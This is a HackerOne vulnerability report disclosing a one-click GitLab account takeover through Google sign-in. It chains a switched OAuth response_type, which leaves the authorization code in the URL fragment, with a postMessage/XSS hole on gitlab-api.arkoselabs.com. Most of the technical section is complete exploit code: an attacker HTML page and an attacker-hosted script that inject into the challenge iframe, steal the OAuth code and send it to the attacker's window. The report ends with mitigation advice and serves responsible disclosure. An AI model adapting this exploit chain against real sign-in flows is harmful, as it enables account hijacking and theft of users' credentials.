1-click account hijack for anyone using Google sign-in with Gitlab, due to response-type switch + leaking to gitlab-api.arkoselabs.com that has XSS

HackerOne report #1566384 by fransrosen on 2022-05-12, assigned to GitLab Team:

Report | Attachments | How To Reproduce

Report

Hi,

Description

I've been researching new ways to steal OAuth codes and access-tokens using postMessage, and I found a way for me to steal the code and/or access-token from Google-sign-in on Gitlab.com allowing a full account hijack of the account in Gitlab.

The way it works is this:

  1. Attacker prepares a state-parameter in its own browser from the Google sign-in flow. This is needed also to make sure the login flow will fail for the victim. This is an important part on how we get the code.
  2. Attacker makes a page for the victim. The page loads an iframe with gitlab-api.arkoselabs.com and runs javascript in it, thanks to a postMessage listener that can receive information about what javascript to load in it.
  3. The javascript provided will create a link to Google sign-in for Gitlab, but tainted with the state-value that the attacker set. Also, the response_type is modified from code to code,id_token. This is the second important part why we can steal the code. Gitlab is wiping any ?code=-parameters from the URL if there's an error, but Gitlab will not wipe any fragment parts. And when Google gets both code and id_token as the response_type, everything will be sent as a fragment, ie: url#state=x&code=y&id_token=z instead of in a query string. The fragment data is still left when in the URL when there's an error, and is also passed down by postMessage to gitlab-api.arkoselabs.com with location.href.
  4. Victim clicks the link from the attacker page, will go through "sign-in with Google" for Gitlab, but with a state-parameter modified to the attacker's and the response_type to code,id_token. This is to make sure the user ends up back on the sign-in page with a CSRF-error with the code still present in the fragment. This is the page where the challenge iframe shows up.
  5. The sign-in page will initialize the challenge-box in an iframe if the user clicks anywhere on the page.
  6. The XSS on gitlab-api.arkoselabs.com in the first window, which has the same domain as the iframe, will be allowed to inject an onmessage-listener in the challenge iframe and steal the config sent by the main window by sending a message to "request config". The data received back includes location.href that has the code in it.

Here's a video to show the flow, as you will see in the beginning - the attacker opens an incognito window to get a state for Google sign-in, the attacker then puts the state in to prepare the attacker-page that will render for the victim. The interactions after that are the ones the victim would do, basically just signing in. When the code shows up on the attacker's page later, that's where the attacker then takes over again and uses its incognito browser window to sign in as the victim:

gitlab-hijack.mp4

And here's a link for testing, user needs to be signed out from Gitlab for it to work:

https://fransrosen.com/gitlab-hijack-efniofniond3iod.html  

Technical details

Here's the HTML of the malicious page:

<html>  
<style>pre { word-break: break-word; white-space: pre-wrap; }</style>  
<body>  
<div id="start">  
Attacker, enter your state when trying to sign in to Google here:<br />  
<input id="state">  
<button onclick="launch()">Generate a victim page with attacker's state</button>  
</div>

<div id="fr"></div>

<script>  
var inj;  
function launch() {  
    document.getElementById('fr').innerHTML = '<iframe id="b" name="b" src="https://gitlab-api.arkoselabs.com/v2/12D76D4C-5EDF-4EB4-A84D-042C497A9610/enforcement.1055143c784efaba2cba6d6738e34724.html?state=' + encodeURIComponent(document.getElementById('state').value) + '" frameborder=0 style="width: 500px; height: 300px"></iframe>';  
    document.getElementById('start').innerHTML = '';  
    injectiframe()  
}
window.onmessage = function(e) {  
    if (e.data === 'stopinject') {  
        console.log('frame injected');  
        clearInterval(inj)  
    }  
    if (e.data.indexOf('id_token') !== -1) {  
        payload = JSON.parse(e.data);  
        code = payload.siteData.location.href.split('#')[1].split('&id_token')[0].replace('state%3D', '');  
        document.getElementById('fr').innerHTML = 'We have the code + state from Google:<br /><pre>' + code + '</pre>';  
    }  
}
function injectiframe() {  
    inj = setInterval(function() {  
        console.log('looking for frame...');  
        b.postMessage('{"clientData":{},"selector":".js-arkose-labs-container-1","settings":{},"accessibilitySettings":{},"challengeApiUrl":"https://foo","challengeApiDomain":"https://foo","challengeLoaderUrl":"https://foo","mode":"inline","publicKey":"12D76D4C-5EDF-4EB4-A84D-042C497A9610","siteData":{"location":{"ancestorOrigins":{},"href":"https://gitlab.com/","origin":"https://gitlab.com","protocol":"https:","host":"gitlab.com","hostname":"gitlab.com","port":"","pathname":"/users/sign_in","search":"","hash":""}},"data":{"clientData":{},"selector":".js-arkose-labs-container-1","settings":{},"accessibilitySettings":{},"challengeApiUrl":"https://fransrosen.com/gitlab-hijack-frame-dsnion2doin2od.js?3","challengeApiDomain":"https://foo","challengeLoaderUrl":"https://gitlab-api.arkoselabs.com/fc/api/sri/","mode":"inline","publicKey":"12D76D4C-5EDF-4EB4-A84D-042C497A9610","siteData":{"location":{"ancestorOrigins":{},"href":"https://gitlab.com/","origin":"https://gitlab.com","protocol":"https:","host":"gitlab.com","hostname":"gitlab.com","port":"","pathname":"/users/sign_in","search":"","hash":""}}},"key":"12D76D4C-5EDF-4EB4-A84D-042C497A9610","message":"config","type":"emit"}', '*');  
    }, 500);  
}

</script>


</body>  
</html>  

What this page will do is:

  1. Ask the attacker to prepare the state-param from its own browser. This is to taint the victim's code with the state so that the attacker can then sign in.

Screen_Shot_2022-05-12_at_02.03.04.png

  1. Load the https://gitlab-api.arkoselabs.com/v2/12D76D4C-5EDF-4EB4-A84D-042C497A9610/enforcement.1055143c784efaba2cba6d6738e34724.html into an iframe. It is not restricted to be framed in any way, anyone can load it.
  2. Send a postMessage to the iframe. The vulnerable part is the challengeApiUrl where we can modify the URL for loading a javascript.
  3. The javascript at https://fransrosen.com/gitlab-hijack-frame-dsnion2doin2od.js will load. It looks like this:
var b, x;  
var state = location.href.substr(location.href.indexOf('state='));  
document.body.innerHTML = '<a href="#" onclick="b=window.open(\'https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?client_id=805818759045-aa9a2emskmnmeii44krng550d2fd44ln.apps.googleusercontent.com&redirect_uri=https%3A%2F%2Fgitlab.com%2Fusers%2Fauth%2Fgoogle_oauth2%2Fcallback&response_type=code%2cid_token&scope=email%20profile&state=' + state + '&flowName=GeneralOAuthFlow\');">Click here to hijack Google access-token from Gitlab</a>';  
top.postMessage('stopinject', '*');  
window.onmessage=function(e) { top.postMessage(e.data, '*'); b.close(); }  
x = setInterval(function() {

if(b && b.frames[1]) {  
  b.frames[1].eval(  
    'onmessage=function(e) { top.opener.postMessage(e.data, "*") };' +  
    'top.postMessage(\'{"key":"12D76D4C-5EDF-4EB4-A84D-042C497A9610","message":"request config","type":"broadcast"}\',"*")'  
  )  
  clearInterval(x)  
}

}, 1000);  
  1. This javascript will render the "Click here"-link, it will ask the parent window to stop injecting by postMessage, and it will register a "proxy postMessage listener" so when the code is stolen from Gitlab.com, it will be sent to the attacker main window through this frame. It will also start an interval to check if the opened page (accounts.google.com in this case, which is the sign-in URL for Gitlab's Google-OAuth) has frames[1], and if it finds it it will modify its DOM, add a onmessage and then send a message to Gitlab's iframe's parent, which is gitlab.com and ask for the config which is an existing feature of the challenge iframe solution that is used on the sign-in page of Gitlab. The config payload will include location.href which contains the code taken from the fragment. As soon as it gets the message it will close Gitlab again.
  2. The attacker's main window will listen for a postMessage containing code and will show the state+code in the window. The attacker could then use the state+code with its own flow instead and sign in as the user, since the code is related to the state of the attacker.

Screen_Shot_2022-05-12_at_02.05.16.png

I've also added an example where I change the response_type to token instead, where I steal the access-token, but that one only gives you access to the email and profile in Google, but it works with the same principles:

gitlab-google-access-token.mp4

Mitigation

  1. You should make sure that the challenge-window restricts who can send messages to it, and preferrably also who can frame it.
  2. Make sure that no fragment-data in the URL is left on the error pages of the sign-in flow, to prevent it from leaking.
  3. Also make sure to audit the postMessage-listeners that are being used, especially the ones related to the sign-in flows.

Impact

Attacker can sign in as the victim. There's minimal interaction needed, only one click (and maybe another click if you count how the challenge iframe initiates on the error page).

This took quite some time to get built :) I hope you'll like it!

Regards,
Frans

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section: